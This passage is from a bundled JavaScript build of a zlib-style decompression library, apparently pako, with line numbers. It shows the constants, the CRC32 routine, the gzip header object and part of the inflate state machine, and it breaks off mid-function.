14544 //Z_VERSION_ERROR: -6,
14545 /* compression levels */
14546 Z_NO_COMPRESSION: 0,
14547 Z_BEST_SPEED: 1,
14548 Z_BEST_COMPRESSION: 9,
14549 Z_DEFAULT_COMPRESSION: -1,
14550 Z_FILTERED: 1,
14551 Z_HUFFMAN_ONLY: 2,
14552 Z_RLE: 3,
14553 Z_FIXED: 4,
14554 Z_DEFAULT_STRATEGY: 0,
14555 /* Possible values of the data_type field (though see inflate()) */
14556 Z_BINARY: 0,
14557 Z_TEXT: 1,
14558 //Z_ASCII: 1, // = Z_TEXT (deprecated)
14559 Z_UNKNOWN: 2,
14560 /* The deflate compression method */
14561 Z_DEFLATED: 8
14562 //Z_NULL: null // Use -1 or null inline, depending on var type
14563 };
14564 },
14565 {}
14566 ],
14567 5: [
14568 function(require2, module2, exports2) {
14569 "use strict";
14570 function makeTable() {
14571 var c6, table = [];
14572 for (var n2 = 0; n2 < 256; n2++) {
14573 c6 = n2;
14574 for (var k2 = 0; k2 < 8; k2++) {
14575 c6 = c6 & 1 ? 3988292384 ^ c6 >>> 1 : c6 >>> 1;
14576 }
14577 table[n2] = c6;
14578 }
14579 return table;
14580 }
14581 var crcTable = makeTable();
14582 function crc32(crc, buf, len, pos) {
14583 var t3 = crcTable, end = pos + len;
14584 crc ^= -1;
14585 for (var i2 = pos; i2 < end; i2++) {
14586 crc = crc >>> 8 ^ t3[(crc ^ buf[i2]) & 255];
14587 }
14588 return crc ^ -1;
14589 }
14590 module2.exports = crc32;
14591 },
14592 {}
14593 ],
14594 6: [
14595 function(require2, module2, exports2) {
14596 "use strict";
14597 function GZheader() {
14598 this.text = 0;
14599 this.time = 0;
14600 this.xflags = 0;
14601 this.os = 0;
14602 this.extra = null;
14603 this.extra_len = 0;
14604 this.name = "";
14605 this.comment = "";
14606 this.hcrc = 0;
14607 this.done = false;
14608 }
14609 module2.exports = GZheader;
14610 },
14611 {}
14612 ],
14613 7: [
14614 function(require2, module2, exports2) {
14615 "use strict";
14616 var BAD = 30;
14617 var TYPE = 12;
14618 module2.exports = function inflate_fast(strm, start2) {
14619 var state;
14620 var _in;
14621 var last;
14622 var _out;
14623 var beg;
14624 var end;
14625 var dmax;
14626 var wsize;
14627 var whave;
14628 var wnext;
14629 var s_window;
14630 var hold;
14631 var bits;
14632 var lcode;
14633 var dcode;
14634 var lmask;
14635 var dmask;
14636 var here;
14637 var op;
14638 var len;
14639 var dist;
14640 var from;
14641 var from_source;
14642 var input, output;
14643 state = strm.state;
14644 _in = strm.next_in;
14645 input = strm.input;
14646 last = _in + (strm.avail_in - 5);
14647 _out = strm.next_out;
14648 output = strm.output;
14649 beg = _out - (start2 - strm.avail_out);
14650 end = _out + (strm.avail_out - 257);
14651 dmax = state.dmax;
14652 wsize = state.wsize;
14653 whave = state.whave;
14654 wnext = state.wnext;
14655 s_window = state.window;
14656 hold = state.hold;
14657 bits = state.bits;
14658 lcode = state.lencode;
14659 dcode = state.distcode;
14660 lmask = (1 << state.lenbits) - 1;
14661 dmask = (1 << state.distbits) - 1;
14662 top: do {
14663 if (bits < 15) {
14664 hold += input[_in++] << bits;
14665 bits += 8;
14666 hold += input[_in++] << bits;
14667 bits += 8;
14668 }
14669 here = lcode[hold & lmask];
14670 dolen: for (; ; ) {
14671 op = here >>> 24;
14672 hold >>>= op;
14673 bits -= op;
14674 op = here >>> 16 & 255;
14675 if (op === 0) {
14676 output[_out++] = here & 65535;
14677 } else if (op & 16) {
14678 len = here & 65535;
14679 op &= 15;
14680 if (op) {
14681 if (bits < op) {
14682 hold += input[_in++] << bits;
14683 bits += 8;
14684 }
14685 len += hold & (1 << op) - 1;
14686 hold >>>= op;
14687 bits -= op;
14688 }
14689 if (bits < 15) {
14690 hold += input[_in++] << bits;
14691 bits += 8;
14692 hold += input[_in++] << bits;
14693 bits += 8;
14694 }
14695 here = dcode[hold & dmask];
14696 dodist: for (; ; ) {
14697 op = here >>> 24;
14698 hold >>>= op;
14699 bits -= op;
14700 op = here >>> 16 & 255;
14701 if (op & 16) {
14702 dist = here & 65535;
14703 op &= 15;
14704 if (bits < op) {
14705 hold += input[_in++] << bits;
14706 bits += 8;
14707 if (bits < op) {
14708 hold += input[_in++] << bits;
14709 bits += 8;
14710 }
14711 }
14712 dist += hold & (1 << op) - 1;
14713 if (dist > dmax) {
14714 strm.msg = "invalid distance too far back";
14715 state.mode = BAD;
14716 break top;
14717 }
14718 hold >>>= op;
14719 bits -= op;
14720 op = _out - beg;
14721 if (dist > op) {
14722 op = dist - op;
14723 if (op > whave) {
14724 if (state.sane) {
14725 strm.msg = "invalid distance too far back";
14726 state.mode = BAD;
14727 break top;
14728 }
14729 }
14730 from = 0;
14731 from_source = s_window;
14732 if (wnext === 0) {
14733 from += wsize - op;
14734 if (op < len) {
14735 len -= op;
14736 do {
14737 output[_out++] = s_window[from++];
14738 } while (--op);
14739 from = _out - dist;
14740 from_source = output;
14741 }
14742 } else if (wnext < op) {
14743 from += wsize + wnext - op;
14744 op -= wnext;
14745 if (op < len) {
14746 len -= op;
14747 do {
14748 output[_out++] = s_window[from++];
14749 } while (--op);
14750 from = 0;
14751 if (wnext < len) {
14752 op = wnext;
14753 len -= op;
14754 do {
14755 output[_out++] = s_window[from++];
14756 } while (--op);
14757 from = _out - dist;
14758 from_source = output;
14759 }
14760 }
14761 } else {
14762 from += wnext - op;
14763 if (op < len) {
14764 len -= op;
14765 do {
14766 output[_out++] = s_window[from++];
14767 } while (--op);
14768 from = _out - dist;
14769 from_source = output;
14770 }
14771 }
14772 while (len > 2) {
14773 output[_out++] = from_source[from++];
14774 output[_out++] = from_source[from++];
14775 output[_out++] = from_source[from++];
14776 len -= 3;
14777 }
14778 if (len) {
14779 output[_out++] = from_source[from++];
14780 if (len > 1) {
14781 output[_out++] = from_source[from++];
14782 }
14783 }
14784 } else {
14785 from = _out - dist;
14786 do {
14787 output[_out++] = output[from++];
14788 output[_out++] = output[from++];
14789 output[_out++] = output[from++];
14790 len -= 3;
14791 } while (len > 2);
14792 if (len) {
14793 output[_out++] = output[from++];
14794 if (len > 1) {
14795 output[_out++] = output[from++];
14796 }
14797 }
14798 }
14799 } else if ((op & 64) === 0) {
14800 here = dcode[(here & 65535) + (hold & (1 << op) - 1)];
14801 continue dodist;
14802 } else {
14803 strm.msg = "invalid distance code";
14804 state.mode = BAD;
14805 break top;
14806 }
14807 break;
14808 }
14809 } else if ((op & 64) === 0) {
14810 here = lcode[(here & 65535) + (hold & (1 << op) - 1)];
14811 continue dolen;
14812 } else if (op & 32) {
14813 state.mode = TYPE;
14814 break top;
14815 } else {
14816 strm.msg = "invalid literal/length code";
14817 state.mode = BAD;
14818 break top;
14819 }
14820 break;
14821 }
14822 } while (_in < last && _out < end);
14823 len = bits >> 3;
14824 _in -= len;
14825 bits -= len << 3;
14826 hold &= (1 << bits) - 1;
14827 strm.next_in = _in;
14828 strm.next_out = _out;
14829 strm.avail_in = _in < last ? 5 + (last - _in) : 5 - (_in - last);
14830 strm.avail_out = _out < end ? 257 + (end - _out) : 257 - (_out - end);
14831 state.hold = hold;
14832 state.bits = bits;
14833 return;
14834 };
14835 },
14836 {}
14837 ],
14838 8: [
14839 function(require2, module2, exports2) {
14840 "use strict";
14841 var utils = require2("../utils/common");
14842 var adler32 = require2("./adler32");
14843 var crc32 = require2("./crc32");
14844 var inflate_fast = require2("./inffast");
14845 var inflate_table = require2("./inftrees");
14846 var CODES = 0;
14847 var LENS = 1;
14848 var DISTS = 2;
14849 var Z_FINISH = 4;
14850 var Z_BLOCK = 5;
14851 var Z_TREES = 6;
14852 var Z_OK = 0;
14853 var Z_STREAM_END = 1;
14854 var Z_NEED_DICT = 2;
14855 var Z_STREAM_ERROR = -2;
14856 var Z_DATA_ERROR = -3;
14857 var Z_MEM_ERROR = -4;
14858 var Z_BUF_ERROR = -5;
14859 var Z_DEFLATED = 8;
14860 var HEAD = 1;
14861 var FLAGS = 2;
14862 var TIME = 3;
14863 var OS = 4;
14864 var EXLEN = 5;
14865 var EXTRA = 6;
14866 var NAME = 7;
14867 var COMMENT = 8;
14868 var HCRC = 9;
14869 var DICTID = 10;
14870 var DICT = 11;
14871 var TYPE = 12;
14872 var TYPEDO = 13;
14873 var STORED = 14;
14874 var COPY_ = 15;
14875 var COPY = 16;
14876 var TABLE = 17;
14877 var LENLENS = 18;
14878 var CODELENS = 19;
14879 var LEN_ = 20;
14880 var LEN = 21;
14881 var LENEXT = 22;
14882 var DIST = 23;
14883 var DISTEXT = 24;
14884 var MATCH = 25;
14885 var LIT = 26;
14886 var CHECK = 27;
14887 var LENGTH = 28;
14888 var DONE = 29;
14889 var BAD = 30;
14890 var MEM = 31;
14891 var SYNC = 32;
14892 var ENOUGH_LENS = 852;
14893 var ENOUGH_DISTS = 592;
14894 var MAX_WBITS = 15;
14895 var DEF_WBITS = MAX_WBITS;
14896 function zswap32(q) {
14897 return (q >>> 24 & 255) + (q >>> 8 & 65280) + ((q & 65280) << 8) + ((q & 255) << 24);
14898 }
14899 function InflateState() {
14900 this.mode = 0;
14901 this.last = false;
14902 this.wrap = 0;
14903 this.havedict = false;
14904 this.flags = 0;
14905 this.dmax = 0;
14906 this.check = 0;
14907 this.total = 0;
14908 this.head = null;
14909 this.wbits = 0;
14910 this.wsize = 0;
14911 this.whave = 0;
14912 this.wnext = 0;
14913 this.window = null;
14914 this.hold = 0;
14915 this.bits = 0;
14916 this.length = 0;
14917 this.offset = 0;
14918 this.extra = 0;
14919 this.lencode = null;
14920 this.distcode = null;
14921 this.lenbits = 0;
14922 this.distbits = 0;
14923 this.ncode = 0;
14924 this.nlen = 0;
14925 this.ndist = 0;
14926 this.have = 0;
14927 this.next = null;
14928 this.lens = new utils.Buf16(
14929 320
14930 );
14931 this.work = new utils.Buf16(
14932 288
14933 );
14934 this.lendyn = null;
14935 this.distdyn = null;
14936 this.sane = 0;
14937 this.back = 0;
14938 this.was = 0;
14939 }
14940 function inflateResetKeep(strm) {
14941 var state;
14942 if (!strm || !strm.state) {
14943 return Z_STREAM_ERROR;
14944 }
14945 state = strm.state;
14946 strm.total_in = strm.total_out = state.total = 0;
14947 strm.msg = "";
14948 if (state.wrap) {
14949 strm.adler = state.wrap & 1;
14950 }
14951 state.mode = HEAD;
14952 state.last = 0;
14953 state.havedict = 0;
14954 state.dmax = 32768;
14955 state.head = null;
14956 state.hold = 0;
14957 state.bits = 0;
14958 state.lencode = state.lendyn = new utils.Buf32(
14959 ENOUGH_LENS
14960 );
14961 state.distcode = state.distdyn = new utils.Buf32(
14962 ENOUGH_DISTS
14963 );
14964 state.sane = 1;
14965 state.back = -1;
14966 return Z_OK;
14967 }
14968 function inflateReset(strm) {
14969 var state;
14970 if (!strm || !strm.state) {
14971 return Z_STREAM_ERROR;
14972 }
14973 state = strm.state;
14974 state.wsize = 0;
14975 state.whave = 0;
14976 state.wnext = 0;
14977 return inflateResetKeep(strm);
14978 }
14979 function inflateReset2(strm, windowBits) {
14980 var wrap;
14981 var state;
14982 if (!strm || !strm.state) {
14983 return Z_STREAM_ERROR;
14984 }
14985 state = strm.state;
14986 if (windowBits < 0) {
14987 wrap = 0;
14988 windowBits = -windowBits;
14989 } else {
14990 wrap = (windowBits >> 4) + 1;
14991 if (windowBits < 48) {
14992 windowBits &= 15;
14993 }
14994 }
14995 if (windowBits && (windowBits < 8 || windowBits > 15)) {
14996 return Z_STREAM_ERROR;
14997 }
14998 if (state.window !== null && state.wbits !== windowBits) {
14999 state.window = null;
15000 }
15001 state.wrap = wrap;
15002 state.wbits = windowBits;
15003 return inflateReset(strm);
15004 }
15005 function inflateInit2(strm, windowBits) {
15006 var ret;
15007 var state;
15008 if (!strm) {
15009 return Z_STREAM_ERROR;
15010 }
15011 state = new InflateState();
15012 strm.state = state;
15013 state.window = null;
15014 ret = inflateReset2(strm, windowBits);
15015 if (ret !== Z_OK) {
15016 strm.state = null;
15017 }
15018 return ret;
15019 }
15020 function inflateInit(strm) {
15021 return inflateInit2(strm, DEF_WBITS);
15022 }
15023 var virgin = true;
15024 var lenfix, distfix;
15025 function fixedtables(state) {
15026 if (virgin) {
15027 var sym;
15028 lenfix = new utils.Buf32(512);
15029 distfix = new utils.Buf32(32);
15030 sym = 0;
15031 while (sym < 144) {
15032 state.lens[sym++] = 8;
15033 }
15034 while (sym < 256) {
15035 state.lens[sym++] = 9;
15036 }
15037 while (sym < 280) {
15038 state.lens[sym++] = 7;
15039 }
15040 while (sym < 288) {
15041 state.lens[sym++] = 8;
15042 }
15043 inflate_table(
15044 LENS,
15045 state.lens,
15046 0,
15047 288,
15048 lenfix,
15049 0,
15050 state.work,
15051 { bits: 9 }
15052 );
15053 sym = 0;
15054 while (sym < 32) {
15055 state.lens[sym++] = 5;
15056 }
15057 inflate_table(
15058 DISTS,
15059 state.lens,
15060 0,
15061 32,
15062 distfix,
15063 0,
15064 state.work,
15065 { bits: 5 }
15066 );
15067 virgin = false;
15068 }
15069 state.lencode = lenfix;
15070 state.lenbits = 9;
15071 state.distcode = distfix;
15072 state.distbits = 5;
15073 }
15074 function updatewindow(strm, src, end, copy) {
15075 var dist;
15076 var state = strm.state;
15077 if (state.window === null) {
15078 state.wsize = 1 << state.wbits;
15079 state.wnext = 0;
15080 state.whave = 0;
15081 state.window = new utils.Buf8(state.wsize);
15082 }
15083 if (copy >= state.wsize) {
15084 utils.arraySet(
15085 state.window,
15086 src,
15087 end - state.wsize,
15088 state.wsize,
15089 0
15090 );
15091 state.wnext = 0;
15092 state.whave = state.wsize;
15093 } else {
15094 dist = state.wsize - state.wnext;
15095 if (dist > copy) {
15096 dist = copy;
15097 }
15098 utils.arraySet(
15099 state.window,
15100 src,
15101 end - copy,
15102 dist,
15103 state.wnext
15104 );
15105 copy -= dist;
15106 if (copy) {
15107 utils.arraySet(
15108 state.window,
15109 src,
15110 end - copy,
15111 copy,
15112 0
15113 );
15114 state.wnext = copy;
15115 state.whave = state.wsize;
15116 } else {
15117 state.wnext += dist;
15118 if (state.wnext === state.wsize) {
15119 state.wnext = 0;
15120 }
15121 if (state.whave < state.wsize) {
15122 state.whave += dist;
15123 }
15124 }
15125 }
15126 return 0;
15127 }
15128 function inflate(strm, flush2) {
15129 var state;
15130 var input, output;
15131 var next;
15132 var put;
15133 var have, left;
15134 var hold;
15135 var bits;
15136 var _in, _out;
15137 var copy;
15138 var from;
15139 var from_source;
15140 var here = 0;
15141 var here_bits, here_op, here_val;
15142 var last_bits, last_op, last_val;
15143 var len;
15144 var ret;
15145 var hbuf = new utils.Buf8(
15146 4
15147 );
15148 var opts;
15149 var n2;
15150 var order = (
15151 /* permutation of code lengths */
15152 [
15153 16,
15154 17,
15155 18,
15156 0,
15157 8,
15158 7,
15159 9,
15160 6,
15161 10,
15162 5,
15163 11,
15164 4,
15165 12,
15166 3,
15167 13,
15168 2,
15169 14,
15170 1,
15171 15
15172 ]
15173 );
15174 if (!strm || !strm.state || !strm.output || !strm.input && strm.avail_in !== 0) {
15175 return Z_STREAM_ERROR;
15176 }
15177 state = strm.state;
15178 if (state.mode === TYPE) {
15179 state.mode = TYPEDO;
15180 }
15181 put = strm.next_out;
15182 output = strm.output;
15183 left = strm.avail_out;
15184 next = strm.next_in;
15185 input = strm.input;
15186 have = strm.avail_in;
15187 hold = state.hold;
15188 bits = state.bits;
15189 _in = have;
15190 _out = left;
15191 ret = Z_OK;
15192 inf_leave: for (; ; ) {
15193 switch (state.mode) {
15194 case HEAD:
15195 if (state.wrap === 0) {
15196 state.mode = TYPEDO;
15197 break;
15198 }
15199 while (bits < 16) {
15200 if (have === 0) {
15201 break inf_leave;
15202 }
15203 have--;
15204 hold += input[next++] << bits;
15205 bits += 8;
15206 }
15207 if (state.wrap & 2 && hold === 35615) {
15208 state.check = 0;
15209 hbuf[0] = hold & 255;
15210 hbuf[1] = hold >>> 8 & 255;
15211 state.check = crc32(
15212 state.check,
15213 hbuf,
15214 2,
15215 0
15216 );
15217 hold = 0;
15218 bits = 0;
15219 state.mode = FLAGS;
15220 break;
15221 }
15222 state.flags = 0;
15223 if (state.head) {
15224 state.head.done = false;
15225 }
15226 if (!(state.wrap & 1) || (((hold & 255) << 8) + (hold >> 8)) % 31) {
15227 strm.msg = "incorrect header check";
15228 state.mode = BAD;
15229 break;
15230 }
15231 if ((hold & 15) !== Z_DEFLATED) {
15232 strm.msg = "unknown compression method";
15233 state.mode = BAD;
15234 break;
15235 }
15236 hold >>>= 4;
15237 bits -= 4;
15238 len = (hold & 15) + 8;
15239 if (state.wbits === 0) {
15240 state.wbits = len;
15241 } else if (len > state.wbits) {
15242 strm.msg = "invalid window size";
15243 state.mode = BAD;
15244 break;
15245 }
15246 state.dmax = 1 << len;
15247 strm.adler = state.check = 1;
15248 state.mode = hold & 512 ? DICTID : TYPE;
15249 hold = 0;
15250 bits = 0;
15251 break;
15252 case FLAGS:
15253 while (bits < 16) {
15254 if (have === 0) {
15255 break inf_leave;
15256 }
15257 have--;
15258 hold += input[next++] << bits;
15259 bits += 8;
15260 }
15261 state.flags = hold;
15262 if ((state.flags & 255) !== Z_DEFLATED) {
15263 strm.msg = "unknown compression method";
15264 state.mode = BAD;
15265 break;
15266 }
15267 if (state.flags & 57344) {
15268 strm.msg = "unknown header flags set";
15269 state.mode = BAD;
15270 break;
15271 }
15272 if (state.head) {
15273 state.head.text = hold >> 8 & 1;
15274 }
15275 if (state.flags & 512) {
15276 hbuf[0] = hold & 255;
15277 hbuf[1] = hold >>> 8 & 255;
15278 state.check = crc32(
15279 state.check,
15280 hbuf,
15281 2,
15282 0
15283 );
15284 }
15285 hold = 0;
15286 bits = 0;
15287 state.mode = TIME;
15288 /* falls through */
15289 case TIME:
15290 while (bits < 32) {
15291 if (have === 0) {
15292 break inf_leave;
15293 }
15294 have--;
15295 hold += input[next++] << bits;
15296 bits += 8;
15297 }
15298 if (state.head) {
15299 state.head.time = hold;
15300 }
15301 if (state.flags & 512) {
15302 hbuf[0] = hold & 255;
15303 hbuf[1] = hold >>> 8 & 255;
15304 hbuf[2] = hold >>> 16 & 255;
15305 hbuf[3] = hold >>> 24 & 255;
15306 state.check = crc32(
15307 state.check,
15308 hbuf,
15309 4,
15310 0
15311 );
15312 }
15313 hold = 0;
15314 bits = 0;
15315 state.mode = OS;
15316 /* falls through */
15317 case OS:
15318 while (bits < 16) {
15319 if (have === 0) {
15320 break inf_leave;
15321 }
15322 have--;
15323 hold += input[next++] << bits;
15324 bits += 8;
15325 }
15326 if (state.head) {
15327 state.head.xflags = hold & 255;
15328 state.head.os = hold >> 8;
15329 }
15330 if (state.flags & 512) {
15331 hbuf[0] = hold & 255;
15332 hbuf[1] = hold >>> 8 & 255;
15333 state.check = crc32(
15334 state.check,
15335 hbuf,
15336 2,
15337 0
15338 );
15339 }
15340 hold = 0;
15341 bits = 0;
15342 state.mode = EXLEN;
15343 /* falls through */
15344 case EXLEN:
15345 if (state.flags & 1024) {
15346 while (bits < 16) {
15347 if (have === 0) {
15348 break inf_leave;
15349 }
15350 have--;
15351 hold += input[next++] << bits;
15352 bits += 8;
15353 }
15354 state.length = hold;
15355 if (state.head) {
15356 state.head.extra_len = hold;
15357 }
15358 if (state.flags & 512) {
15359 hbuf[0] = hold & 255;
15360 hbuf[1] = hold >>> 8 & 255;
15361 state.check = crc32(
15362 state.check,
15363 hbuf,
15364 2,
15365 0
15366 );
15367 }
15368 hold = 0;
15369 bits = 0;
15370 } else if (state.head) {
15371 state.head.extra = null;
15372 }
15373 state.mode = EXTRA;
15374 /* falls through */
15375 case EXTRA:
15376 if (state.flags & 1024) {
15377 copy = state.length;
15378 if (copy > have) {
15379 copy = have;
15380 }
15381 if (copy) {
15382 if (state.head) {
15383 len = state.head.extra_len - state.length;
15384 if (!state.head.extra) {
15385 state.head.extra = new Array(
15386 state.head.extra_len
15387 );
15388 }
15389 utils.arraySet(
15390 state.head.extra,
15391 input,
15392 next,
15393 // extra field is limited to 65536 bytes
15394 // - no need for additional size check
15395 copy,
15396 /*len + copy > state.head.extra_max - len ? state.head.extra_max : copy,*/
15397 len
15398 );
15399 }
15400 if (state.flags & 512) {
15401 state.check = crc32(
15402 state.check,
15403 input,
15404 copy,
15405 next
15406 );
15407 }
15408 have -= copy;
15409 next += copy;
15410 state.length -= copy;
15411 }
15412 if (state.length) {
15413 break inf_leave;
15414 }
15415 }
15416 state.length = 0;
15417 state.mode = NAME;
15418 /* falls through */
15419 case NAME:
15420 if (state.flags & 2048) {
15421 if (have === 0) {
15422 break inf_leave;
15423 }
15424 copy = 0;
15425 do {
15426 len = input[next + copy++];
15427 if (state.head && len && state.length < 65536) {
15428 state.head.name += String.fromCharCode(len);
15429 }
15430 } while (len && copy < have);
15431 if (state.flags & 512) {
15432 state.check = crc32(
15433 state.check,
15434 input,
15435 copy,
15436 next
15437 );
15438 }
15439 have -= copy;
15440 next += copy;
15441 if (len) {
15442 break inf_leave;
15443 }
15444 } else if (state.head) {
15445 state.head.name = null;
15446 }
15447 state.length = 0;
15448 state.mode = COMMENT;
15449 /* falls through */
15450 case COMMENT:
15451 if (state.flags & 4096) {
15452 if (have === 0) {
15453 break inf_leave;
15454 }
15455 copy = 0;
15456 do {
15457 len = input[next + copy++];
15458 if (state.head && len && state.length < 65536) {
15459 state.head.comment += String.fromCharCode(len);
15460 }
15461 } while (len && copy < have);
15462 if (state.flags & 512) {
15463 state.check = crc32(
15464 state.check,
15465 input,
15466 copy,
15467 next
15468 );
15469 }
15470 have -= copy;
15471 next += copy;
15472 if (len) {
15473 break inf_leave;
15474 }
15475 } else if (state.head) {
15476 state.head.comment = null;
15477 }
15478 state.mode = HCRC;
15479 /* falls through */
15480 case HCRC:
15481 if (state.flags & 512) {
15482 while (bits < 16) {
15483 if (have === 0) {
15484 break inf_leave;
15485 }
15486 have--;
15487 hold += input[next++] << bits;
15488 bits += 8;
15489 }
15490 if (hold !== (state.check & 65535)) {
15491 strm.msg = "header crc mismatch";
15492 state.mode = BAD;
15493 break;
15494 }
15495 hold = 0;
15496 bits = 0;
15497 }
15498 if (state.head) {
15499 state.head.hcrc = state.flags >> 9 & 1;
15500 state.head.done = true;
15501 }
15502 strm.adler = state.check = 0;
15503 state.mode = TYPE;
15504 break;
15505 case DICTID:
15506 while (bits < 32) {
15507 if (have === 0) {
15508 break inf_leave;
15509 }
15510 have--;
15511 hold += input[next++] << bits;
15512 bits += 8;
15513 }
15514 strm.adler = state.check = zswap32(hold);
15515 hold = 0;
15516 bits = 0;
15517 state.mode = DICT;
15518 /* falls through */
15519 case DICT:
15520 if (state.havedict === 0) {
15521 strm.next_out = put;
15522 strm.avail_out = left;
15523 strm.next_in = next;
15524 strm.avail_in = have;
15525 state.hold = hold;
15526 state.bits = bits;
15527 return Z_NEED_DICT;
15528 }
15529 strm.adler = state.check = 1;
15530 state.mode = TYPE;
15531 /* falls through */
15532 case TYPE:
15533 if (flush2 === Z_BLOCK || flush2 === Z_TREES) {
15534 break inf_leave;
15535 }
15536 /* falls through */
15537 case TYPEDO:
15538 if (state.last) {
15539 hold >>>= bits & 7;
15540 bits -= bits & 7;
15541 state.mode = CHECK;
15542 break;
15543 }
15544 while (bits < 3) {
15545 if (have === 0) {
15546 break inf_leave;
15547 }
15548 have--;
15549 hold += input[next++] << bits;
15550 bits += 8;
15551 }
15552 state.last = hold & 1;
15553 hold >>>= 1;
15554 bits -= 1;
15555 switch (hold & 3) {
15556 case 0:
15557 state.mode = STORED;
15558 break;
15559 case 1:
15560 fixedtables(state);
15561 state.mode = LEN_;
15562 if (flush2 === Z_TREES) {
15563 hold >>>= 2;
15564 bits -= 2;
15565 break inf_leave;
15566 }
15567 break;
15568 case 2:
15569 state.mode = TABLE;
15570 break;
15571 case 3:
15572 strm.msg = "invalid block type";
15573 state.mode = BAD;
15574 }
15575 hold >>>= 2;
15576 bits -= 2;
15577 break;
15578 case STORED:
15579 hold >>>= bits & 7;
15580 bits -= bits & 7;
15581 while (bits < 32) {
15582 if (have === 0) {
15583 break inf_leave;
15584 }
15585 have--;
15586 hold += input[next++] << bits;
15587 bits += 8;
15588 }
15589 if ((hold & 65535) !== (hold >>> 16 ^ 65535)) {
15590 strm.msg = "invalid stored block lengths";
15591 state.mode = BAD;
15592 break;
15593 }
15594 state.length = hold & 65535;
15595 hold = 0;
15596 bits = 0;
15597 state.mode = COPY_;
15598 if (flush2 === Z_TREES) {
15599 break inf_leave;
15600 }
15601 /* falls through */
15602 case COPY_:
15603 state.mode = COPY;
15604 /* falls through */
15605 case COPY:
15606 copy = state.length;
15607 if (copy) {
15608 if (copy > have) {
15609 copy = have;
15610 }
15611 if (copy > left) {
15612 copy = left;
15613 }
15614 if (copy === 0) {
15615 break inf_leave;
15616 }
15617 utils.arraySet(
15618 output,
15619 input,
15620 next,
15621 copy,
15622 put
15623 );
15624 have -= copy;
15625 next += copy;
15626 left -= copy;
15627 put += copy;
15628 state.length -= copy;
15629 break;
15630 }
15631 state.mode = TYPE;
15632 break;
15633 case TABLE:
15634 while (bits < 14) {
15635 if (have === 0) {
15636 break inf_leave;
15637 }
15638 have--;
15639 hold += input[next++] << bits;
15640 bits += 8;
15641 }
15642 state.nlen = (hold & 31) + 257;
15643 hold >>>= 5;
15644 bits -= 5;
15645 state.ndist = (hold & 31) + 1;
15646 hold >>>= 5;
15647 bits -= 5;
15648 state.ncode = (hold & 15) + 4;
15649 hold >>>= 4;
15650 bits -= 4;
15651 if (state.nlen > 286 || state.ndist > 30) {
15652 strm.msg = "too many length or distance symbols";
15653 state.mode = BAD;
15654 break;
15655 }
15656 state.have = 0;
15657 state.mode = LENLENS;
15658 /* falls through */
15659 case LENLENS:
15660 while (state.have < state.ncode) {
15661 while (bits < 3) {
15662 if (have === 0) {
15663 break inf_leave;
15664 }
15665 have--;
15666 hold += input[next++] << bits;
15667 bits += 8;
15668 }
15669 state.lens[order[state.have++]] = hold & 7;
15670 hold >>>= 3;
15671 bits -= 3;
15672 }
15673 while (state.have < 19) {
15674 state.lens[order[state.have++]] = 0;
15675 }
15676 state.lencode = state.lendyn;
15677 state.lenbits = 7;
15678 opts = { bits: state.lenbits };
15679 ret = inflate_table(
15680 CODES,
15681 state.lens,
15682 0,
15683 19,
15684 state.lencode,
15685 0,
15686 state.work,
15687 opts
15688 );
15689 state.lenbits = opts.bits;
15690 if (ret) {
15691 strm.msg = "invalid code lengths set";
15692 state.mode = BAD;
15693 break;
15694 }
15695 state.have = 0;
15696 state.mode = CODELENS;
15697 /* falls through */
15698 case CODELENS:
15699 while (state.have < state.nlen + state.ndist) {
15700 for (; ; ) {
15701 here = state.lencode[hold & (1 << state.lenbits) - 1];
15702 here_bits = here >>> 24;
15703 here_op = here >>> 16 & 255;
15704 here_val = here & 65535;
15705 if (here_bits <= bits) {
15706 break;
15707 }
15708 if (have === 0) {
15709 break inf_leave;
15710 }
15711 have--;
15712 hold += input[next++] << bits;
15713 bits += 8;
15714 }
15715 if (here_val < 16) {
15716 hold >>>= here_bits;
15717 bits -= here_bits;
15718 state.lens[state.have++] = here_val;
15719 } else {
15720 if (here_val === 16) {
15721 n2 = here_bits + 2;
15722 while (bits < n2) {
15723 if (have === 0) {
15724 break inf_leave;
15725 }
15726 have--;
15727 hold += input[next++] << bits;
15728 bits += 8;
15729 }
15730 hold >>>= here_bits;
15731 bits -= here_bits;
15732 if (state.have === 0) {
15733 strm.msg = "invalid bit length repeat";
15734 state.mode = BAD;
15735 break;
15736 }
15737 len = state.lens[state.have - 1];
15738 copy = 3 + (hold & 3);
15739 hold >>>= 2;
15740 bits -= 2;
15741 } else if (here_val === 17) {
15742 n2 = here_bits + 3;
15743 while (bits < n2) {
15744 if (have === 0) {
15745 break inf_leave;
15746 }
15747 have--;
15748 hold += input[next++] << bits;
15749 bits += 8;
15750 }
15751 hold >>>= here_bits;
15752 bits -= here_bits;
15753 len = 0;
15754 copy = 3 + (hold & 7);
15755 hold >>>= 3;
15756 bits -= 3;
15757 } else {
15758 n2 = here_bits + 7;
15759 while (bits < n2) {
15760 if (have === 0) {
15761 break inf_leave;
15762 }
15763 have--;
15764 hold += input[next++] << bits;
15765 bits += 8;
15766 }
15767 hold >>>= here_bits;
15768 bits -= here_bits;
15769 len = 0;
15770 copy = 11 + (hold & 127);
15771 hold >>>= 7;
15772 bits -= 7;
15773 }
15774 if (state.have + copy > state.nlen + state.ndist) {
15775 strm.msg = "invalid bit length repeat";
15776 state.mode = BAD;
15777 break;
15778 }
15779 while (copy--) {
15780 state.lens[state.have++] = len;
15781 }
15782 }
15783 }
15784 if (state.mode === BAD) {
15785 break;
15786 }
15787 if (state.lens[256] === 0) {
15788 strm.msg = "invalid code -- missing end-of-block";
15789 state.mode = BAD;
15790 break;
15791 }
15792 state.lenbits = 9;
15793 opts = { bits: state.lenbits };
15794 ret = inflate_table(
15795 LENS,
15796 state.lens,
15797 0,
15798 state.nlen,
15799 state.lencode,
15800 0,
15801 state.work,
15802 opts
15803 );
15804 state.lenbits = opts.bits;
15805 if (ret) {
15806 strm.msg = "invalid literal/lengths set";
15807 state.mode = BAD;
15808 break;
15809 }
15810 state.distbits = 6;
15811 state.distcode = state.distdyn;
15812 opts = { bits: state.distbits };
15813 ret = inflate_table(
15814 DISTS,
15815 state.lens,
15816 state.nlen,
15817 state.ndist,
15818 state.distcode,
15819 0,
15820 state.work,
15821 opts
15822 );
15823 state.distbits = opts.bits;
15824 if (ret) {
15825 strm.msg = "invalid distances set";
15826 state.mode = BAD;
15827 break;
15828 }
15829 state.mode = LEN_;
15830 if (flush2 === Z_TREES) {
15831 break inf_leave;
15832 }
15833 /* falls through */
15834 case LEN_:
15835 state.mode = LEN;
15836 /* falls through */
15837 case LEN:
